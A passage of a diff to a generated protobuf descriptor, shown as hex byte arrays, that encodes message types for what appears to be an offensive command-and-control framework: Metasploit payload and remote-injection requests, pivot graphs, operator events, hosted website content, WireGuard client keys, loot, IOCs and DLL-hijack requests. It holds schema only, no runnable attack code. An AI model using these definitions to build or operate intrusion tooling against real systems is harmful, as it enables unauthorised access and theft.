0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, + 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, + 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, + 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, + 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, - 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, - 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, - 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, - 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, - 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, - 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, - 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, - 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, - 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, - 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, - 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, - 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, - 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, - 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, - 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, - 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, - 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, - 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, - 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, - 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, - 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, - 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, - 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, - 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, - 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, - 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, - 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, - 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, - 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, - 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, - 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, - 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, - 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, - 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, - 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, - 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, - 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, - 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 